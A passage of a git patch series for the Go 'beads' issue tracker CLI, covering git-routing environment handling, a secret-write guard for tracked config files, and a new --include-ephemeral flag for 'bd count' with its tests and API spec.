isRepo) { + if isRepo { role := in.roleFlag if role == "" { role = "maintainer" diff --git a/cmd/bd/sync_git.go b/cmd/bd/sync_git.go index ee42fe8b4..f660b595a 100644 --- a/cmd/bd/sync_git.go +++ b/cmd/bd/sync_git.go @@ -121,6 +121,12 @@ func gitOriginHasDoltDataRefStatus() (bool, error) { func gitRemoteHasDoltDataRefStatus(remote string) (bool, error) { ctx, cancel := context.WithTimeout(context.Background(), gitDoltDataProbeTimeout) defer cancel() + // #nosec G702 -- no shell is involved: the binary is the literal "git" and + // the remote URL is its own argv element, so it cannot inject a command. + // The value is this repo's configured sync remote, local operator state + // rather than request data; gosec only reaches it because this PR routed + // config discovery through env-derived paths (see testSSHConnectivity in + // dolt.go for the same taint path). cmd := exec.CommandContext(ctx, "git", "ls-remote", gitRemoteURLForLsRemote(remote), "refs/dolt/data") cmd.Env = append(os.Environ(), "GIT_TERMINAL_PROMPT=0") output, err := cmd.Output() diff --git a/cmd/bd/worktree_cmd.go b/cmd/bd/worktree_cmd.go index d4b123f5e..37a3b6b12 100644 --- a/cmd/bd/worktree_cmd.go +++ b/cmd/bd/worktree_cmd.go @@ -718,11 +718,31 @@ func worktreeGitEnvKey(entry string) string { // internal/git/gitdir.go still honor inherited routing, so those planes can // still resolve a different repository than this one (bd-p4che). // -// The boundary removes inherited discovery *redirects*. It is not a floor: -// GIT_CEILING_DIRECTORIES is a routing key too, so dropping it also re-enables -// upward discovery, and a `bd worktree` command run outside a repository can -// then select a containing parent that an inherited ceiling would have hidden -// (init's role probe records the same trade-off). +// Unlike the child-process scrubs elsewhere in this package, ClearRouting +// unsets the variables on the bd process itself, so bd's own discovery — +// getGitContext, GetMainRepoRoot, FindBeadsDir and startup config discovery — +// runs under the cleared environment for the whole command. The boundary +// removes inherited discovery redirects, but it is not a floor: the +// discovery-scope controls go with the redirection ones, and they do not all +// move discovery the same way: +// +// - GIT_CEILING_DIRECTORIES is a stop, so clearing it widens the walk: a +// stale inherited ceiling can no longer hide the repository the command is +// standing in, but with no repository at or below the working directory the +// walk can now reach a containing parent that ceiling excluded (init's role +// probe records the same trade-off). +// - GIT_DISCOVERY_ACROSS_FILESYSTEM only ever permits — git stops at a +// filesystem boundary unless this is true — so clearing it narrows the +// walk: a repository reachable from the working directory only by crossing +// a mount point is no longer found by any bd worktree verb, and there is no +// opt-out. +// - ClearRouting matches GIT_CONFIG by prefix, so the redirecting members of +// the GIT_CONFIG* family — a custom GIT_CONFIG_GLOBAL or GIT_CONFIG_SYSTEM +// path, GIT_CONFIG_COUNT and its numbered key/value pairs — are dropped for +// the command's lifetime rather than for one child probe. The explicit +// suppression forms are the exception: ClearRouting keeps +// GIT_CONFIG_NOSYSTEM and the /dev/null spellings of GIT_CONFIG_GLOBAL and +// GIT_CONFIG_SYSTEM, which can blind a read but cannot redirect one. func clearWorktreeGitRoutingEnv(cmd *cobra.Command) error { if !hasWorktreeCommandAncestor(cmd) { return nil diff --git a/internal/config/git_routing_test.go b/internal/config/git_routing_test.go index e2b6fb59c..76960d5f8 100644 --- a/internal/config/git_routing_test.go +++ b/internal/config/git_routing_test.go @@ -127,6 +127,52 @@ func TestSecretGitTrackingIgnoresInheritedGitRouting(t *testing.T) { } }) } + + // The scrub alone narrows the probe to upward discovery from the config + // file's directory. A detached work tree — GIT_DIR plus GIT_WORK_TREE with + // no in-tree .git beside the config — is reachable only through the + // inherited context, so without the inherited fallback the guard reports + // "untracked" and writes the secret into a tracked file. + t.Run("legitimate routing", func(t *testing.T) { + gitDir := filepath.Join(t.TempDir(), "repo.git") + if err := os.MkdirAll(gitDir, 0o750); err != nil { + t.Fatal(err) + } + runConfigProbeGit(t, gitDir, "init", "--bare", "--quiet") + work := t.TempDir() + beadsDir := filepath.Join(work, ".beads") + if err := os.MkdirAll(beadsDir, 0o750); err != nil { + t.Fatal(err) + } + detachedTracked := filepath.Join(beadsDir, "config.yaml") + detachedUntracked := filepath.Join(beadsDir, "untracked.yaml") + for _, path := range []string{detachedTracked, detachedUntracked} { + if err := os.WriteFile(path, []byte("json: false\n"), 0o600); err != nil { + t.Fatal(err) + } + } + runConfigProbeGit(t, work, "--git-dir", gitDir, "--work-tree", work, "add", "--", detachedTracked) + + t.Setenv("GIT_DIR", gitDir) + t.Setenv("GIT_WORK_TREE", work) + // Guard the fixture: the scrubbed probe must not see this repository at + // all, or the fallback below would be satisfied by discovery instead. + if isGitTrackedWithEnv(detachedTracked, gitenv.ScrubRouting(os.Environ())) { + t.Fatal("scrubbed discovery reached the detached work tree; fixture cannot exercise the fallback") + } + if !isGitTracked(detachedTracked) { + t.Error("legitimate routing lost the tracked file; the secret guard would write into it") + } + if isGitTracked(detachedUntracked) { + t.Error("untracked file reported as tracked") + } + if err := checkSecretGitTracked(detachedTracked, "linear.api_key"); err == nil || !strings.Contains(err.Error(), "refusing to write secret key") { + t.Errorf("tracked secret refusal = %v", err) + } + if err := checkSecretGitTracked(detachedUntracked, "linear.api_key"); err != nil { + t.Errorf("untracked secret refused: %v", err) + } + }) } // A checkout reachable only through inherited Git routing is the case a diff --git a/internal/config/yaml_config.go b/internal/config/yaml_config.go index b19969463..78cc98cb0 100644 --- a/internal/config/yaml_config.go +++ b/internal/config/yaml_config.go @@ -193,18 +193,42 @@ func IsSecretKey(key string) bool { // named only by GIT_DIR/GIT_WORK_TREE — so the inherited context is consulted // before declaring the file untracked. Mirrors isGitTrackedFile in cmd/bd. func isGitTracked(path string) bool { - dir := filepath.Dir(path) inherited := os.Environ() - for _, env := range [][]string{gitenv.ScrubRouting(inherited), inherited} { + return isGitTrackedWithEnv(path, gitenv.ScrubRouting(inherited), inherited) +} + +// isGitTrackedWithEnv probes path under env, then under each fallback in +// order, stopping at the first that reports it as tracked. Callers pass the +// scrubbed environment as env so inherited routing cannot hide a tracked +// config file, and the inherited one as the fallback: that preserves bare work +// trees and trusted config, where the repository is reachable only through the +// inherited context. Either probe reporting the path as tracked is sufficient +// to refuse the write. This mirrors the hook guard in cmd/bd/hooks.go. +// +// The first environment is a separate parameter rather than part of the +// variadic so that a zero-probe call, which would fall through to "untracked" +// and write the secret, cannot be spelled. The tail stays variadic because a +// test needs to probe one environment alone; the twin's fixed (clean, +// inherited) arity cannot express that, since exec treats a nil Env as +// "inherit the current process" rather than as a disabled probe. +// +// Every probe failing counts as untracked, so the guard only blocks writes it +// can prove are unsafe. +func isGitTrackedWithEnv(path string, env []string, fallbacks ...[]string) bool { + dir := filepath.Dir(path) + for _, probe := range append([][]string{env}, fallbacks...) { cmd := exec.Command("git", "ls-files", "--error-unmatch", path) cmd.Dir = dir - cmd.Env = env + cmd.Env = probe cmd.Stdout = nil cmd.Stderr = nil err := cmd.Run() if err == nil { return true } + // Exit 1 is git's "repository reached, path is not tracked" answer and + // is final, so a later probe runs only when this one failed for a + // configuration reason (no reachable repository). if exit, ok := err.(*exec.ExitError); ok && exit.ExitCode() == 1 { return false } diff --git a/internal/git/gitdir.go b/internal/git/gitdir.go index f7464bfe7..1e82e14cf 100644 --- a/internal/git/gitdir.go +++ b/internal/git/gitdir.go @@ -156,7 +156,8 @@ func normalizeHooksWorkDir(workDir string) (string, error) { // // This is the explicit-context sibling of GetGitHooksDir. It returns a struct // instead of following this file's GetXFrom(startDir) convention because all -// four paths must come from one resolution of one directory. +// four paths must come from one resolution of one directory. The first in-repo +// caller is the selected-hook setup in cmd/bd/init_git_hooks.go (GH#6440). func ResolveHooksContext(workDir string, env []string) (HooksContext, error) { if workDir == "" { return HooksContext{}, fmt.Errorf("hooks context requires a working directory") From e8f318316fb1879b9531f5da4ce6891d057e561f Mon Sep 17 00:00:00 2001 From: Karel Bourgois Date: Wed, 30 Sep 2026 01:56:23 +0200 Subject: [PATCH 242/624] feat(count): `--include-ephemeral`, the plane knob `bd count` never had (#6240) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(count): --include-ephemeral, the plane knob `bd count` never had `bd count` can admit the wisps table only through `--include-infra`, which makes four changes at once. This adds the flag that makes just the first one, mirroring the `--include-ephemeral` that `bd list` gained in #6098. ## Why the plane is unreachable on its own The write path routes on STORAGE CLASS, not type — dolt's `useWispsTable` is `Ephemeral || NoHistory || WispType != "" || IsInfraType`. So a `no_history` task lives in the wisps TABLE while remaining ordinary durable work, and a default `bd count` never sees it. Recovering it today means `--include-infra`, which this repo's own doc calls "FOUR changes at once and not one": it admits the plane, drops the infra-type exclusions, changes the template treatment, and reconciles cardinality with `bd list --all`. Its template exclusion then silently drops template rows of the named type — so a caller who wanted the plane trades one silent undercount for another. `ListRequest.IncludeEphemeral` has been the narrow answer on the listing side since #5476, and #6098 gave it a CLI flag. `CountRequest` had no equivalent field at all. This is the missing half of that pair. ## The change - `issueops.CountRequest.IncludeEphemeral` — the plane knob alone: exactly the first of `IncludeInfra`'s four changes, with none of the other three. - `internal/workapi/count.go` — one line, `} else if !in.IncludeEphemeral {`. - `cmd/bd/count.go` — flag registration, matching `bd list`'s wording. - `internal/httpapi` — `include_ephemeral` on `countIssues`, in the spec; the generated `types.gen.go` is `make api-gen` output, not hand-edited. Unset, the count is durable-plane only: the historical answer, unchanged. Every default is untouched. It does NOT promise a count and a listing agree. They already differ on TEMPLATES without this flag and still do with it — a count includes template rows unless `IncludeInfra` excludes them, a listing excludes them unless `IncludeTemplates` admits them. That predates this and is unchanged by it; only `IncludeInfra` sets out to reconcile cardinality, and it pays with three changes beyond the plane. ## Verification ok github.com/steveyegge/beads/internal/workapi ok github.com/steveyegge/beads/internal/httpapi ok github.com/steveyegge/beads/issueops --- PASS: TestEmbeddedCountIncludeEphemeral (39.71s) --- PASS: TestCountIncludeInfraFlagShape --- PASS: TestParseCountRequestCarriesEveryFilterFlag `TestEmbeddedCountIncludeEphemeral` was run with `BEADS_TEST_EMBEDDED_DOLT=1` and really executed — 39.71s, not a skip. The default fast tier would have skipped it and reported `ok`. `make api-gen` reproduces `types.gen.go` byte-for-byte from the spec hunk, so the two cannot drift apart in review. `go build ./...`, `go vet` and `gofmt` clean. Claude-Session: https://claude.ai/code/session_01X1jMLQTSrCwtzFRS1xeUC6 * count: reframe the comments for this repo, not the fork they came from Review on #6240 (bee-ghosttrack): five comment blocks were written from the fork's point of view and become false once merged here — "belongs upstream", "the half that still has to go upstream", "the fork's old wide default", and "upstream's default" meaning the current default. Find-and-replace, as asked: the reasoning is kept, only the frame of reference changes. "upstream's default" -> "the default before this change"; the bd list sibling "landed in #6098"; the infra-type divergence is "pinned, not fixed, here" with the reason; the embedded test's fork-maintenance history is replaced by what it actually pins. No code changes. * build(bazel): list the two test files this PR adds in their go_test srcs Maintainer review fixes for #6240, review iteration 1. The synthesis and the quality scorecard both returned approve with no required changes; this commit takes the one minor whose subject is the PR's own added files. Taken: - Change Impact / Blast Radius (minor, gate impact minor). The PR adds cmd/bd/count_include_ephemeral_embedded_test.go and internal/workapi/count_skipwisps_test.go, but neither was listed in its package's explicit go_test srcs, so the PR's own assertions were invisible to `bazel test`. Both rows are now listed. Gazelle's verdict, not a hand-guess: `make bazel-sync` was run (bazel 9.2.0 is available here) and it produced exactly these two entries. Its full output also rewrote 12 other BUILD.bazel files -- pre-existing base drift from other PRs' files, plus dep/select churn -- which is out of scope for this PR, so the generated result was reverted and only the two rows this PR is responsible for were re-applied, at the slots gazelle chose. Both srcs lists remain sorted with no duplicates (cmd/bd bd_test 637 entries, internal/workapi workapi_test 24 entries). The cgo build tag on count_include_ephemeral_embedded_test.go does not exempt it: the repo lists tag-gated *_embedded_test.go files anyway (99 of the 101 in cmd/bd are listed, and the sampled ones are simultaneously listed and tagged). Declined: - Test Evidence Quality (nit, gate impact none). The filing lane itself marked it optional and explicitly said not to gate on it, and its own reasoning holds: internal/storage/dolt/counts.go and internal/storage/embeddeddolt/counts.go both delegate to the same issueops.CountIssuesInTx, differing only in transaction acquisition. Validation: go build ./... and CGO_ENABLED=1 go vet on cmd/bd, internal/workapi and issueops all clean; go test ./internal/workapi/ ./issueops/ ok. No production code changed -- the commit is two generated-list rows. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5 --- cmd/bd/BUILD.bazel | 1 + cmd/bd/count.go | 16 +++ cmd/bd/count_filter_test.go | 52 +++---- .../count_include_ephemeral_embedded_test.go | 79 ++++++++++ internal/httpapi/apigen/types.gen.go | 5 + internal/httpapi/count_test.go | 7 +- internal/httpapi/reads.go | 3 +- internal/httpapi/spec/openapi.v0.yaml | 17 +++ internal/workapi/BUILD.bazel | 1 + internal/workapi/count.go | 2 +- internal/workapi/count_skipwisps_test.go | 136 ++++++++++++++++++ issueops/counter.go | 23 +++ 12 files changed, 313 insertions(+), 29 deletions(-) create mode 100644 cmd/bd/count_include_ephemeral_embedded_test.go create mode 100644 internal/workapi/count_skipwisps_test.go diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index efec9749f..96143f6ac 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -589,6 +589,7 @@ go_test( "cook_test.go", "count_embedded_test.go", "count_filter_test.go", + "count_include_ephemeral_embedded_test.go", "count_proxied_integration_test.go", "cpu_profile_test.go", "create_atomic_test.go", diff --git a/cmd/bd/count.go b/cmd/bd/count.go index c6c568236..01f3d7d04 100644 --- a/cmd/bd/count.go +++ b/cmd/bd/count.go @@ -33,6 +33,7 @@ Examples: bd count --by-label # Group count by label bd count --assignee alice --by-status # Count alice's issues by status bd count --include-infra # Count issues + wisps tier (matches 'bd list --include-infra --all' cardinality) + bd count --type task --include-ephemeral # Count tasks in the durable AND wisps tiers `, SilenceUsage: true, SilenceErrors: true, @@ -91,6 +92,7 @@ func parseCountRequest(cmd *cobra.Command) (issueops.CountRequest, issueops.Coun noLabels, _ := cmd.Flags().GetBool("no-labels") includeInfra, _ := cmd.Flags().GetBool("include-infra") metadataFieldFlags, _ := cmd.Flags().GetStringArray("metadata-field") + includeEphemeral, _ := cmd.Flags().GetBool("include-ephemeral") request := issueops.CountRequest{ Status: status, @@ -107,6 +109,8 @@ func parseCountRequest(cmd *cobra.Command) (issueops.CountRequest, issueops.Coun NoAssignee: noAssignee, NoLabels: noLabels, IncludeInfra: includeInfra, + + IncludeEphemeral: includeEphemeral, } if len(metadataFieldFlags) > 0 { request.MetadataFields = make(map[string]string, len(metadataFieldFlags)) @@ -296,6 +300,18 @@ func registerCountFlags(cmd *cobra.Command) { // `bd list --include-infra --all`. cmd.Flags().Bool("include-infra", false, "Include infrastructure beads and the wisps tier (matches 'bd list --include-infra --all' cardinality)") + // The plane knob alone: admits the wisps tier WITHOUT lifting any type + // exclusion, which --include-infra cannot do (it bundles four changes, and + // its template exclusion silently drops template rows of a named type). + // + // The sibling on `bd list` landed in #6098 (cmd/bd/list.go); the name and + // the help text deliberately follow its shape so the two halves of the + // pair read alike. The trailing clause is the one addition: on `bd count` + // the wider `--include-infra` sits right beside this flag and advertises + // cardinality matching, so the contrast has to be legible in `--help` and + // not only in this comment. + cmd.Flags().Bool("include-ephemeral", false, "Include ephemeral wisp-plane rows in the count (normally hidden), without lifting type exclusions") + // Grouping flags cmd.Flags().Bool("by-status", false, "Group count by status") cmd.Flags().Bool("by-priority", false, "Group count by priority") diff --git a/cmd/bd/count_filter_test.go b/cmd/bd/count_filter_test.go index 89fd9ed01..d943e1ac5 100644 --- a/cmd/bd/count_filter_test.go +++ b/cmd/bd/count_filter_test.go @@ -70,6 +70,7 @@ func TestParseCountRequestCarriesEveryFilterFlag(t *testing.T) { "priority-min": "0", "priority-max": "4", "include-infra": "true", + "include-ephemeral": "true", } { if err := flags.Flags().Set(flag, value); err != nil { t.Fatalf("set --%s=%s: %v", flag, value, err) @@ -96,31 +97,32 @@ func TestParseCountRequestCarriesEveryFilterFlag(t *testing.T) { } priority, min, max := 1, 0, 4 want := issueops.CountRequest{ - Status: "closed", - IssueType: "bug", - Assignee: "alice", - Priority: &priority, - PriorityMin: &min, - PriorityMax: &max, - Labels: []string{"alpha", "beta"}, - LabelsAny: []string{"gamma"}, - TitleSearch: "needle", - IDFilter: "bd-1,bd-2", - TitleContains: "tc", - DescContains: "dc", - NotesContains: "nc", - CreatedAfter: day(1), - CreatedBefore: day(2), - UpdatedAfter: day(3), - UpdatedBefore: day(4), - ClosedAfter: day(5), - ClosedBefore: day(6), - EmptyDesc: true, - NoAssignee: true, - NoLabels: true, - MetadataFields: map[string]string{"team": "platform"}, - HasMetadataKey: "audit_ref", - IncludeInfra: true, + Status: "closed", + IssueType: "bug", + Assignee: "alice", + Priority: &priority, + PriorityMin: &min, + PriorityMax: &max, + Labels: []string{"alpha", "beta"}, + LabelsAny: []string{"gamma"}, + TitleSearch: "needle", + IDFilter: "bd-1,bd-2", + TitleContains: "tc", + DescContains: "dc", + NotesContains: "nc", + CreatedAfter: day(1), + CreatedBefore: day(2), + UpdatedAfter: day(3), + UpdatedBefore: day(4), + ClosedAfter: day(5), + ClosedBefore: day(6), + EmptyDesc: true, + NoAssignee: true, + NoLabels: true, + MetadataFields: map[string]string{"team": "platform"}, + HasMetadataKey: "audit_ref", + IncludeInfra: true, + IncludeEphemeral: true, } if !reflect.DeepEqual(request, want) { t.Errorf("parseCountRequest built\n %#v\nwant\n %#v", request, want) diff --git a/cmd/bd/count_include_ephemeral_embedded_test.go b/cmd/bd/count_include_ephemeral_embedded_test.go new file mode 100644 index 000000000..d2b45bed7 --- /dev/null +++ b/cmd/bd/count_include_ephemeral_embedded_test.go @@ -0,0 +1,79 @@ +//go:build cgo + +package main + +import ( + "os" + "testing" +) + +// TestEmbeddedCountIncludeEphemeral covers the plane knob end to end, on the +// same fixture shape TestEmbeddedCountIncludeInfra uses. +// +// It is a SEPARATE file rather than a subtest of that function on purpose: +// TestEmbeddedCountIncludeInfra pins the existing --include-infra contract and +// is left byte-for-byte untouched, so a reader can see at a glance that this +// flag changed nothing it asserts. +// +// The distinction being pinned: --include-infra bundles four changes (see +// issueops.CountRequest.IncludeInfra) and its template exclusion silently drops +// template rows of the named type. --include-ephemeral admits the plane and +// nothing else. +func TestEmbeddedCountIncludeEphemeral(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "ie") + + // 3 durable tasks (one closed), 2 no_history tasks, 1 ephemeral task. + bdCreate(t, bd, dir, "durable task one", "--type", "task") + bdCreate(t, bd, dir, "durable task two", "--type", "task") + closed := bdCreate(t, bd, dir, "durable task closed", "--type", "task") + bdClose(t, bd, dir, closed.ID) + bdCreate(t, bd, dir, "nohistory task one", "--type", "task", "--no-history") + bdCreate(t, bd, dir, "nohistory task two", "--type", "task", "--no-history") + bdCreate(t, bd, dir, "ephemeral task", "--type", "task", "--ephemeral") + + countOf := func(args ...string) int { + t.Helper() + m := bdCountJSON(t, bd, dir, args...) + return int(m["count"].(float64)) + } + + t.Run("default stays durable-only", func(t *testing.T) { + if got := countOf("--type", "task"); got != 3 { + t.Errorf("bd count --type task = %d, want 3 (the default before this change, unchanged)", got) + } + }) + + t.Run("include-ephemeral reaches the wisps tier", func(t *testing.T) { + if got := countOf("--type", "task", "--include-ephemeral"); got != 6 { + t.Errorf("bd count --type task --include-ephemeral = %d, want 6 "+ + "(3 durable + 2 no_history + 1 ephemeral)", got) + } + }) + + t.Run("count and list read the same plane", func(t *testing.T) { + // The property is that both reach the wisps tier under the flag — NOT + // that the two numbers are equal. A count includes template rows and a + // listing does not, with or without this flag (see + // issueops.CountRequest.IncludeEphemeral), and this fixture has no + // templates only because it does not need any. Asserting raw equality + // here would pass by accident and break the day someone adds one. + durable := len(bdListJSON(t, bd, dir, + "--type", "task", "--status", "all", "--limit", "0")) + withPlane := len(bdListJSON(t, bd, dir, + "--type", "task", "--include-ephemeral", "--status", "all", "--limit", "0")) + if withPlane-durable != 3 { + t.Errorf("list gained %d rows from the plane, want 3 (2 no_history + 1 ephemeral)", + withPlane-durable) + } + if got := countOf("--type", "task", "--include-ephemeral") - countOf("--type", "task"); got != 3 { + t.Errorf("count gained %d rows from the plane, want 3 — count and list "+ + "must admit the same tier even where their totals differ", got) + } + }) +} diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index f97f80034..870046d99 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -2363,6 +2363,11 @@ type CountIssuesParams struct { // MetadataField Top-level metadata equality filter as `key=value`, split on the first `=`. Repeatable. An invalid key is a 400. MetadataField *[]string `form:"metadata_field,omitempty" json:"metadata_field,omitempty"` + // IncludeEphemeral Admit the EPHEMERAL PLANE — the wisps table — and nothing else. Exactly the first of `include_infra`'s four changes, with none of the other three: no type exclusion is taken off, so a row whose TYPE a default count already excludes stays excluded. + // + // It exists because there was no way to ask for that one thing. The write path routes on STORAGE CLASS, not type, so a `no_history` bead lives in the wisps table while remaining ordinary durable work. Reaching it needed `include_infra`, which also drops template rows of the named type — one silent undercount traded for another. + IncludeEphemeral *bool `form:"include_ephemeral,omitempty" json:"include_ephemeral,omitempty"` + // HasMetadataKey Only issues carrying this top-level metadata key. HasMetadataKey *string `form:"has_metadata_key,omitempty" json:"has_metadata_key,omitempty"` diff --git a/internal/httpapi/count_test.go b/internal/httpapi/count_test.go index 4c4c515ec..92af3f5c1 100644 --- a/internal/httpapi/count_test.go +++ b/internal/httpapi/count_test.go @@ -116,6 +116,7 @@ func TestCountForwardsEveryDocumentedParameter(t *testing.T) { "metadata_field": {"team=platform", "env=prod"}, "has_metadata_key": {"audit_ref"}, "include_infra": {"true"}, + "include_ephemeral": {"true"}, }.Encode()) if resp.StatusCode != http.StatusOK { t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) @@ -166,7 +167,8 @@ func TestCountForwardsEveryDocumentedParameter(t *testing.T) { MetadataFields: map[string]string{"team": "platform", "env": "prod"}, HasMetadataKey: "audit_ref", - IncludeInfra: true, + IncludeInfra: true, + IncludeEphemeral: true, } if !reflect.DeepEqual(got[0], want) { t.Errorf("request = %+v\nwant %+v", got[0], want) @@ -571,7 +573,7 @@ func TestCountGroupEnumMatchesTheRolesVocabulary(t *testing.T) { // The other two are already mechanical: TestCountParametersMatchTheHandler ties // the parameter names to the DOCUMENT, and TestCountForwardsEveryDocumentedParameter // ties each parameter's VALUE to the field it lands in. Neither can see a role -// field that no parameter reaches — a 25th filter added to CountRequest and left +// field that no parameter reaches — a 26th filter added to CountRequest and left // unpublished turns nothing red, and the wire silently stops being able to ask // a question the role can answer. That is the failure this map closes, and it is // the one that matters for an HTTP-backed store: it is how the wire becomes @@ -605,6 +607,7 @@ var countFieldForParameter = map[string]string{ "metadata_field": "MetadataFields", "has_metadata_key": "HasMetadataKey", "include_infra": "IncludeInfra", + "include_ephemeral": "IncludeEphemeral", } // TestEveryCountRequestFieldIsPublished: the role publishes 25 filters and the diff --git a/internal/httpapi/reads.go b/internal/httpapi/reads.go index 13da51856..1afbb122d 100644 --- a/internal/httpapi/reads.go +++ b/internal/httpapi/reads.go @@ -224,7 +224,8 @@ func countFilters(q *query) issueops.CountRequest { // infra type to the ephemeral tier — is four decisions the role makes // from the WORKSPACE's own infra vocabulary, which is a config load this // handler must never perform. - IncludeInfra: q.boolean("include_infra"), + IncludeInfra: q.boolean("include_infra"), + IncludeEphemeral: q.boolean("include_ephemeral"), } } diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index 24f30e574..bbc9130df 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -1977,6 +1977,23 @@ paths: type: array items: type: string + - name: include_ephemeral + in: query + description: >- + Admit the EPHEMERAL PLANE — the wisps table — and nothing else. + Exactly the first of `include_infra`'s four changes, with none of + the other three: no type exclusion is taken off, so a row whose TYPE + a default count already excludes stays excluded. + + + It exists because there was no way to ask for that one thing. The + write path routes on STORAGE CLASS, not type, so a `no_history` bead + lives in the wisps table while remaining ordinary durable work. + Reaching it needed `include_infra`, which also drops template rows of + the named type — one silent undercount traded for another. + schema: + type: boolean + default: false - name: has_metadata_key in: query description: Only issues carrying this top-level metadata key. diff --git a/internal/workapi/BUILD.bazel b/internal/workapi/BUILD.bazel index 53633c13d..9372bab7c 100644 --- a/internal/workapi/BUILD.bazel +++ b/internal/workapi/BUILD.bazel @@ -39,6 +39,7 @@ go_test( name = "workapi_test", srcs = [ "bootstrap_test.go", + "count_skipwisps_test.go", "count_test.go", "delete_test.go", "detail_test.go", diff --git a/internal/workapi/count.go b/internal/workapi/count.go index 8d82b5413..00fd466a7 100644 --- a/internal/workapi/count.go +++ b/internal/workapi/count.go @@ -105,7 +105,7 @@ func BuildCountFilter(in issueops.CountRequest, cfg ListConfig) (types.IssueFilt if in.IncludeInfra { applyCountIncludeInfra(&filter, in.IssueType, cfg) - } else { + } else if !in.IncludeEphemeral { filter.SkipWisps = true } return filter, nil diff --git a/internal/workapi/count_skipwisps_test.go b/internal/workapi/count_skipwisps_test.go new file mode 100644 index 000000000..4727860f9 --- /dev/null +++ b/internal/workapi/count_skipwisps_test.go @@ -0,0 +1,136 @@ +package workapi + +import ( + "testing" + + "github.com/steveyegge/beads/issueops" +) + +// TestBuildCountFilter_IncludeEphemeral pins the plane knob on the count side. +// +// The wisps TABLE holds no_history beads (ephemeral = 0) alongside true wisps +// (ephemeral = 1), and the write path routes on STORAGE CLASS, not type — so a +// no_history task lives there while remaining ordinary durable work. A count +// that names a type therefore has to be able to reach that table, and until +// IncludeEphemeral existed the only way was IncludeInfra, which ALSO drops +// template rows of the named type: one silent undercount traded for another. +// +// The default before this change must stay byte-identical: durable plane only. +func TestBuildCountFilter_IncludeEphemeral(t *testing.T) { + cfg := ListConfig{} + + cases := []struct { + name string + in issueops.CountRequest + wantSkipWisps bool + }{ + { + name: "unfiltered count stays durable-only", + in: issueops.CountRequest{}, + wantSkipWisps: true, + }, + { + name: "a named type alone stays durable-only (the default before this change)", + in: issueops.CountRequest{IssueType: "task"}, + wantSkipWisps: true, + }, + { + name: "--include-ephemeral admits the plane", + in: issueops.CountRequest{IncludeEphemeral: true}, + wantSkipWisps: false, + }, + { + name: "--include-ephemeral with a named type admits the plane", + in: issueops.CountRequest{IssueType: "task", IncludeEphemeral: true}, + wantSkipWisps: false, + }, + { + name: "--include-infra still admits the plane on its own", + in: issueops.CountRequest{IssueType: "task", IncludeInfra: true}, + wantSkipWisps: false, + }, + } + + for _, tt := range cases { + t.Run(tt.name, func(t *testing.T) { + filter, err := BuildCountFilter(tt.in, cfg) + if err != nil { + t.Fatalf("BuildCountFilter: %v", err) + } + if filter.SkipWisps != tt.wantSkipWisps { + t.Errorf("SkipWisps = %v, want %v", filter.SkipWisps, tt.wantSkipWisps) + } + }) + } +} + +// TestCountAndListPlaneAgreement pins how count and list decide the PLANE for +// the same request — including the ONE case where they disagree. +// +// The name is not "AgreeOnThePlane" because they do not always agree, and a +// test that claimed they did would be asserting a property the code lacks. For +// an INFRA type they diverge: list reads the plane (applyTypeSuppressions +// exempts infra types) while count does not, so `bd count --type agent` answers +// 0 where `bd list --type agent` returns rows. +// +// That divergence predates the flag — the count arm is a bare `else { +// SkipWisps = true }`, so it answers 0 for an infra type with or without this +// change. It is pinned here, not fixed: the fix is a separate decision about +// what naming an infra type should admit, and this change deliberately alters +// nothing about the default arm. +// +// It asserts the ABSOLUTE expected value as well as the agreement. Agreement +// alone is satisfied by a regression that turns the flag into a no-op on BOTH +// builders, which is exactly the drift this exists to catch. +// +// It deliberately says nothing about the two answers being equal in ROWS: a +// count includes templates and a listing does not, with or without this flag. +// See issueops.CountRequest.IncludeEphemeral. +func TestCountAndListPlaneAgreement(t *testing.T) { + // CustomTypes admits "agent" into the workspace vocabulary (BuildListFilter + // rejects a type it does not know), and the default InfraSet already treats + // it as infra. Without the vocabulary the builders return an error and the + // infra cases below prove nothing. + cfg := ListConfig{CustomTypes: []string{"agent", "role", "message"}} + + for _, tt := range []struct { + name string + issueType string + includeEphemeral bool + wantCountSkip bool + wantAgree bool + }{ + {"default", "", false, true, true}, + {"named type", "task", false, true, true}, + {"include-ephemeral", "", true, false, true}, + {"named type + include-ephemeral", "task", true, false, true}, + // The known divergence. list reads the plane for an infra type, count + // does not; --include-ephemeral recovers count. + {"infra type diverges", "agent", false, true, false}, + {"infra type + include-ephemeral", "agent", true, false, true}, + } { + t.Run(tt.name, func(t *testing.T) { + listFilter, err := BuildListFilter(issueops.ListRequest{ + IssueType: tt.issueType, IncludeEphemeral: tt.includeEphemeral, + }, cfg) + if err != nil { + t.Fatalf("BuildListFilter: %v", err) + } + countFilter, err := BuildCountFilter(issueops.CountRequest{ + IssueType: tt.issueType, IncludeEphemeral: tt.includeEphemeral, + }, cfg) + if err != nil { + t.Fatalf("BuildCountFilter: %v", err) + } + if countFilter.SkipWisps != tt.wantCountSkip { + t.Errorf("count SkipWisps = %v, want %v", countFilter.SkipWisps, tt.wantCountSkip) + } + agree := listFilter.SkipWisps == countFilter.SkipWisps + if agree != tt.wantAgree { + t.Errorf("list SkipWisps=%v count SkipWisps=%v (agree=%v), want agree=%v — "+ + "a change to either builder alone lands here", + listFilter.SkipWisps, countFilter.SkipWisps, agree, tt.wantAgree) + } + }) + } +} diff --git a/issueops/counter.go b/issueops/counter.go index 53780573e..9886c0657 100644 --- a/issueops/counter.go +++ b/issueops/counter.go @@ -129,6 +129,29 @@ type CountRequest struct { // the historical `bd count` answer, kept exactly so a scripted caller reads // the same number it 